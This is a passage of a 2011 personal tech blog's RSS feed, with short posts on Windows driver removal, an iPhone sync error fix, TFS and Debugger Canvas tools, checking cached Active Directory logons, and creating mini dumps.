&lt;li&gt;One can tightly couple the client to the server through data schema definitions and communication protocol.&lt;/li&gt;
&lt;li&gt;There is a need for built-in change tracking and synchronization.&lt;/li&gt;
&lt;li&gt;One wants to rely on the database to handle data reconciliation conflicts and minimize the amount of custom reconciliation code that needs to be written.&lt;/li&gt;
&lt;li&gt;There is no need to interact with multiple disparate services.&lt;/li&gt;
&lt;li&gt;Users are able to connect to a database directly through a LAN/VPN/IPsec.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And, a service oriented approach should be taken when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One wants to decouple the client and server to allow independent versioning and deployment.&lt;/li&gt;
&lt;li&gt;There is a need for more control and flexibility over data reconciliation issues.&lt;/li&gt;
&lt;li&gt;The delivery team has expertise to write more advanced application infrastructure code.&lt;/li&gt;
&lt;li&gt;There is a need for a lightweight client footprint.&lt;/li&gt;
&lt;li&gt;The applications can be structured into a service-oriented architecture.&lt;/li&gt;
&lt;li&gt;There is a need for specific business functionality (for example, custom business rules and processing, flexible reconciliation, and so on).
&lt;ul&gt;
&lt;li&gt;Note: One might also need to look at a few good rules engine if this is the case.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;One needs control over the schema of data stored on the client and flexibility that might be different from the server.&lt;/li&gt;
&lt;li&gt;The application needs to interact with multiple services using different communication technologies (Web services, Message Queuing, RPC, etc.).&lt;/li&gt;
&lt;li&gt;There is a need for a custom security scheme.&lt;/li&gt;
&lt;li&gt;The application needs to operate outside of the firewall.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Enjoy your Tea?</title>
      <link>/post/2011/06/enjoy-your-tea/</link>
      <pubDate>Wed, 15 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/enjoy-your-tea/</guid>
      <description>&lt;p&gt;If you are a Tea person (and I am not), then you would like Cup of Brown joy from &lt;a
	
		href = &#34;http://www.professorelemental.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Professor Elemental
	&lt;/span&gt;
&lt;/a&gt; – who is basically a guy from Colonial India who does hip hop.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Debugger Canvas - Quick Tour</title>
      <link>/post/2011/06/debugger-canvasquick-tour/</link>
      <pubDate>Tue, 14 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/debugger-canvasquick-tour/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/devlabs/debuggercanvas&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Debugger Canvas
	&lt;/span&gt;
&lt;/a&gt; is a new user experience for the debugger in Visual Studio Ultimate. It pulls together the code you’re exploring onto a single pan-and-zoom display. As you hit breakpoints or step into code, Debugger Canvas shows just the methods that you’re debugging, with call lines and local variables, to help you see the bigger picture.&lt;/p&gt;
&lt;p&gt;Check out the quick demo below to see what it is capable of and read up on the &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/devlabs/hh207442&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		guide on how to use it
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;script src=&#34;http://msdn.microsoft.com/objectforward/default.aspx?type=VideoPlayer&amp;amp;video=http%3A%2F%2Fdownload.microsoft.com%2Fdownload%2F2%2FD%2FD%2F2DD2431D-D964-4290-9C05-91BE381A13DF%2FHDI-ITPro-MSDN-winvideo-debugger-canvas-final.wmv&amp;amp;thumb=http%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Fdevlabs%2Fhh227299.debugger-canvas-video-l.jpg&amp;amp;title=Debugger%20Canvas&amp;amp;width=400&amp;amp;height=400&#34; type=&#34;text/javascript&#34;&gt;&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>TFS on the Road - Windows Phone 7 App</title>
      <link>/post/2011/06/tfs-on-the-roadwindows-phone-7-app/</link>
      <pubDate>Mon, 13 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/tfs-on-the-roadwindows-phone-7-app/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://pcbl.de/about/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pedro
	&lt;/span&gt;
&lt;/a&gt; has build one of the best apps for Windows Phone 7 (WP7) that I have ever come across - &lt;a
	
		href = &#34;http://pcbl.de/tfs-on-the-road/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TFS on the Road
	&lt;/span&gt;
&lt;/a&gt;. As the application navigation map shows below it covers most aspects of TFS that you would be interested in – all packaged up in a very nice GUI. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image8.png&#34; alt=&#34;application navigation map&#34;/&gt;
        &lt;figcaption&gt;TFS on the Road App&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Best of all, the application is free and you can get it from &lt;a
	
		href = &#34;http://social.zune.net/redirect?type=phoneApp&amp;amp;id=5a01ae3e-f37f-e011-986b-78e7d1fa76f8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WP7 Market Place
	&lt;/span&gt;
&lt;/a&gt; or if you want the code then from &lt;a
	
		href = &#34;http://tfsontheroad.codeplex.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CodePlex
	&lt;/span&gt;
&lt;/a&gt;. There are &lt;a
	
		href = &#34;http://pcbl.de/tfs-on-the-road/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more screenshots
	&lt;/span&gt;
&lt;/a&gt; for you to see what this looks like.&lt;/p&gt;
&lt;p&gt;Before you go away and install the app, you need to have &lt;a
	
		href = &#34;http://blogs.msdn.com/b/briankel/archive/2011/04/07/odata-service-for-team-foundation-server-2010.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TFS OData Services
	&lt;/span&gt;
&lt;/a&gt; installed and made available over IIS. If you are using CodePlex, then you are good to go as Microsoft already has that switched on.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to remove a corrupt driver on Windows</title>
      <link>/post/2011/06/how-to-remove-a-corrupt-driver-on-windows/</link>
      <pubDate>Wed, 08 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/how-to-remove-a-corrupt-driver-on-windows/</guid>
      <description>&lt;p&gt;If you are having constant issues with a specific hardware, then one of the culprits could be a corrupt device driver for that hardware. In simple terms, a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Device_driver&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		device driver
	&lt;/span&gt;
&lt;/a&gt; is nothing but another computer program which allows Windows and other applications to interact with the specific hardware. Since this is very hardware specific, generally one need to install the specific drivers for that device.&lt;/p&gt;
&lt;p&gt;Windows has something called “Device Manager” which as the name might suggest is used to manage devices. Devices are nothing but the various hardware elements that make up your computer. Some of these are internal (such as CPU, RAM, Hard disk, etc.) and other external such as the monitor, printer, mouse, etc.&lt;/p&gt;
&lt;p&gt;At a high level, the process is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open Computer Management&lt;/li&gt;
&lt;li&gt;Find the corrupt/offending device in Device Manager&lt;/li&gt;
&lt;li&gt;Remove the device (and possibly remove the drivers as well)&lt;/li&gt;
&lt;li&gt;Re-install the device (including the drivers if required).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I have a few screenshots showing the step-by-step process. Whilst these screenshots were taken on a Windows 7 machine, if you are running Vista, the process is the same.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 – Opening Computer Management&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Click on Start&lt;/li&gt;
&lt;li&gt;Right-click on the Computer (on the right side of the Menu)&lt;/li&gt;
&lt;li&gt;From the new menu select “Manage” as shown below.&lt;/li&gt;
&lt;li&gt;You need Administrator rights for this, so depending on your Security Setting, Windows might ask you to Confirm or ask for different credentials.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image2.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Opening Device Manager&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A new window called Computer Management will open. On the left, under System tools you will find an option called “Device Manager”. Click on that and on the right hand side you will see all the devices of your computer;  the devices are grouped by different categories as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image3.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;If there is a problem being reported with some device (for whatever reason) then you will see a Yellow warning triangle next to it. For example in the screenshot below you can see the NVIDIA nForce Networking Controller has some issue. On the other hand, if all the devices are operating correctly (or at least that is what Windows thinks) then you won’t see this and would see something similar to the screenshot above.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image4.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Uninstalling the Device&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Select the device you want to uninstall and right click on it. From the new menu, select the &lt;strong&gt;Uninstall&lt;/strong&gt; option as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image5.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Removing the Driver&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you choose the Uninstall option (from Step 3), you will get a confirmation screen as shown below. If the driver is corrupt or causing issues, then you check the option which says “Delete the driver software for this device”.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; If Windows cannot automatically install your device because you need to either download the drivers from the manufacture’s website or use a CD/etc. then make sure you have this before you choose to Delete the driver software.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image6.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Reboot (Optional)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Windows might not ask you to reboot. But depending on the device it might be a good idea to reboot just to make sure everything is cleaned out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Add back the Device&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you did reboot, next when you start and login, in most cases Windows will automatically find the new device and either install the drivers or ask you for the CD or path where the driver software can be found.&lt;/p&gt;
&lt;p&gt;On the other hand, if you did not reboot or Windows did not detect your device automatically, then you go back to Device Manager (as shown in Steps 1 and 2), right click on the Computer name (this will be the first item in the Device Manager). From the menu choose the “Scan for hardware changes” option – Windows should now find out device.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image7.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Code commenting made easy</title>
      <link>/post/2011/06/code-commenting-made-easy/</link>
      <pubDate>Sun, 05 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/code-commenting-made-easy/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Solving the iPhone Sync Error - Unknown error occurred (13019)</title>
      <link>/post/2011/06/solving-the-iphone-sync-errorunknown-error-occurred-13019/</link>
      <pubDate>Sun, 05 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/solving-the-iphone-sync-errorunknown-error-occurred-13019/</guid>
      <description>&lt;p&gt;Recently the wife installed the latest iOS update for her iPhone 4 (all 600+ MB of it! And people have the &lt;strong&gt;&lt;em&gt;misconception&lt;/em&gt;&lt;/strong&gt; that Microsoft software is bloated?). After the update, the Sync on the phone was failing with the following error: “The iPhone cannot be synced. An unknown error occurred (13019)” as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;She did have the latest version of iTunes – not that made any difference. Also, restarting iTunes or rebooting the phone and the machine did not help and the error remained the same. After a &lt;a
	
		href = &#34;http://www.google.com/search?q=itunes&amp;#43;10.2&amp;#43;sync&amp;#43;unknown&amp;#43;error&amp;#43;13019&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		quick search online
	&lt;/span&gt;
&lt;/a&gt;, it seems quite a few others have the same problem.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image0024.jpg%22&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;For her the sync failure was because of the Music (as did most other people with the same issue); but the failure can be in any group (App, Ringtones, etc.) and not necessarily restricted to the Music group. The easiest way to find out the group where the Sync failed is to keep an eye on the Sync status – it will stop in the group wherever it failed and then you will get the above error.&lt;/p&gt;
&lt;p&gt;To fix this error you need to stop syncing the group causing the issues and then re-sync it. Essentially, you reset the sync options for that group. At a high level the steps you need to do are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Stop syncing the group that failed.&lt;/li&gt;
&lt;li&gt;Sync the phone.&lt;/li&gt;
&lt;li&gt;Re-enable syncing for the group from Step 1.&lt;/li&gt;
&lt;li&gt;Sync the phone again.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the wife’s case, here are the steps I had to follow to stop the Music from syncing to fix this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Select the Device in iTunes (when it is connected of course).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image0026.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; On the right hand side, select group which is failing and uncheck the Sync option. For example, choose Music and uncheck the Sync Music checkbox (circled in red). You need to click the Apply button on the bottom.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image1.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; &lt;strong&gt;Be warned&lt;/strong&gt;, when you uncheck the Sync Music option, iTunes will &lt;strong&gt;&lt;em&gt;delete all the music on your phone&lt;/em&gt;&lt;/strong&gt; as shown in the screenshot below. Of course you should only do this from the computer where you have all your music. If you don’t then you won’t be able to sync your music back again. Click on the “Don’t Sync Music” button.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image0028.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Sync your phone as usual.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: Reverse of Step 2 – you select the &amp;ldquo;Sync Music” option again and click on Apply.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6:&lt;/strong&gt; Sync your phone as usual and everything should sync up again as you would expect. Of course this could take some time depending on how many items you have in your group.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Windows 8 Demo</title>
      <link>/post/2011/06/windows-8-demo/</link>
      <pubDate>Fri, 03 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/windows-8-demo/</guid>
      <description>&lt;p&gt;One word - WOW!&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/vsNwHoM7txs?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Recommended WordPress Themes?</title>
      <link>/post/2011/05/recommended-wordpress-themes/</link>
      <pubDate>Sun, 29 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/recommended-wordpress-themes/</guid>
      <description>&lt;p&gt;I am getting bored with the current WordPress theme on the blog and was interested in getting another theme (preferably free), got any recommendations? And nothing from the &lt;a
	
		href = &#34;http://blogmum.com/2008/12/10-ugly-wordpress-themes/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		10 ugliest WordPress themes
	&lt;/span&gt;
&lt;/a&gt; please. :-)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Using cached domain (active directory) credentials or not?</title>
      <link>/post/2011/05/using-cached-domain-active-directory-credentials-or-not/</link>
      <pubDate>Fri, 27 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/using-cached-domain-active-directory-credentials-or-not/</guid>
      <description>&lt;p&gt;If you are ever in a situation where you want to find out if you logged into using cached domain credentials (AD) or authenticated against the domain controller then the easiest way is to open Event Viewer and look for the entry where the source is &lt;strong&gt;NETLOGON&lt;/strong&gt; and Event ID &lt;strong&gt;5719&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The description would be something like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Log Name:      System  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Source:        NETLOGON  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date:          27/05/2011 08:53:17  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event ID:      5719  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Task Category: None  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Level:         Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Keywords:      Classic  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User:          N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Computer:      YOUR-Full-Qualified-Computer-Name  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Description:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;&lt;/span&gt;This computer was not able to set up a secure session with a domain controller in domain YOUR-DOMAIN-NAME due to the following:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;There are currently no logon servers available to service the logon request.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This may lead to authentication problems. Make sure that this computer is connected to the network. If the problem persists, please contact your domain administrator. 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;&lt;/span&gt;ADDITIONAL INFO  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;If this computer is a domain controller for the specified domain, it sets up the secure session to the primary domain controller emulator in the specified domain. Otherwise, this computer sets up the secure session to any domain controller in the specified domain.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is a screenshot (on Win 7) showing a (filtered) view of the same event.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to create a Mini Dump?</title>
      <link>/post/2011/05/how-to-create-a-mini-dump/</link>
      <pubDate>Thu, 26 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/how-to-create-a-mini-dump/</guid>
      <description>&lt;p&gt;If you ever want to get a Mini Dump of a process (of course for debugging purposes) the easiest way to do so is to use Task Manager (or use &lt;a
	
		href = &#34;http://technet.microsoft.com/en-us/sysinternals/bb896653&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Sys Explorer
	&lt;/span&gt;
&lt;/a&gt;). Just find the process you are interested in, right click and select “Create Dump File” and voila.&lt;/p&gt;
&lt;p&gt;One thing to be careful – make sure you are using the same version of the Task Manager (or Sys Explorer) as the process. For example if your process is x32 (and you are running on a x64 system), then make sure you are using x32 version of Task Manager and not the x64 as that will cause issues.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Creating-a-mini-dump.jpg&#34; alt=&#34;Creating a mini dump&#34;/&gt;
        &lt;figcaption&gt;Creating a mini dump&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Troubleshooting WCF Performance - Part 1</title>
      <link>/post/2011/05/troubleshooting-wcf-performance-part-1/</link>
      <pubDate>Thu, 26 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/troubleshooting-wcf-performance-part-1/</guid>
      <description>&lt;p&gt;More related details on Dustin&amp;rsquo;s post - &lt;a
	
		href = &#34;http://blogs.msdn.com/b/endpoint/archive/2011/05/04/wcf-scales-up-slowly-with-bursts-of-work.aspx&#34;
	

	

	
